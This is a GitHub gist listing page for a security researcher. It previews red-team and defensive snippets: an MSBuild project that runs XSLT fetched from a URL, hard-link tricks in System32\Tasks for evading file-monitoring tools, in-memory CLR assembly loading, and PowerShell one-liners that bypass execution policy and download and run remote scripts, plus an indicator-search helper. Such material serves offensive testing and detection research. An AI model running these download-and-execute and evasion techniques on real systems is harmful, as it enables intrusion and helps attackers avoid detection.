MHaggis’s gists

MHaggis / xslt.proj

Created February 14, 2020 04:55 — forked from TheWover/xslt.proj

msbuild XSLT Execute From URL. Courtesy of an ephemeral Casey Smith tweet

	<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
	<Target Name="Example">
	<ItemGroup>
	<XmlFiles Include="https://gist.githubusercontent.com/caseysmithrc/d6ef2fdffa6c054c6996b0f2fb7dd45d/raw/6ce40c15487d67df6771ff205de5ea8a8c6f29c0/customers.xml" />
	</ItemGroup>
	<PropertyGroup>
	<XslFile>https://gist.githubusercontent.com/caseysmithrc/d6ef2fdffa6c054c6996b0f2fb7dd45d/raw/48abcd2a9575e1e5db25596cbaa02f6066bbe9e2/script.xsl</XslFile>
	</PropertyGroup>
	<XslTransformation
	OutputPaths="output.%(XmlFiles.FileName).html"

MHaggis / Find-Assemblies.ps1

Created February 14, 2020 04:51 — forked from TheWover/Find-Assemblies.ps1

Search a directory for .NET Assemblies, including Mixed Assemblies. Options for searching recursively, including DLLs in scope, and including all files in scope.

	Param([parameter(Mandatory=$true,
	HelpMessage="Directory to search for .NET Assemblies in.")]
	$Directory,
	[parameter(Mandatory=$false,
	HelpMessage="Whether or not to search recursively.")]
	[switch]$Recurse = $false,
	[parameter(Mandatory=$false,
	HelpMessage="Whether or not to include DLLs in the search.")]
	[switch]$DLLs = $false,
	[parameter(Mandatory=$false,

MHaggis / Update_Notes.md

Created January 28, 2020 15:46

Loading .NET Assemblies into Script Hosts - Abusing System32||SysWow64\Tasks writable property

Using Hard Links to point back to attacker controlled location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

xref: https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html

MHaggis / TestAssembly.cs

Created December 5, 2019 17:36

This code shows how to load a CLR in an unmanaged process, then load an assembly from memory (not from a file) and execute a method

	/*

	================================ Compile as a .Net DLL ==============================
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs

	*/

	using System.Windows.Forms;

	namespace TestNamespace

MHaggis / RedTeam_CheatSheet.ps1

Created November 25, 2019 16:06 — forked from m8sec/RedTeam_CheatSheet.ps1

Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Domain Recon
	## ShareFinder - Look for shares on network and check access under current user context & Log to file
	powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess\|Out-File -FilePath sharefinder.txt"

	## Import PowerView Module
	powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"

	## Invoke-BloodHound for domain recon
	powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"

MHaggis / iocs_to_definition.py

Created February 26, 2019 16:56 — forked from keithmccammon/iocs_to_definition.py

Make a Surveyor definition given a file full of indicators, one per line. Warning: This is a hack and performs no grouping. It's just a really fast means of asking Cb Response "where do these things appear?"

	#!/usr/bin/env python

	"""
	To use me:

	1) Make a file full of indicators, one per line, call it indicators.txt.

	NOTE: This was written to handle IP addresses. Change line 40 from ipaddr to md5 if passing hashes.

	2) python iocs_to_definition.py indicators.txt

Michael Haag MHaggis

Using Hard Links to point back to attacker controlled location.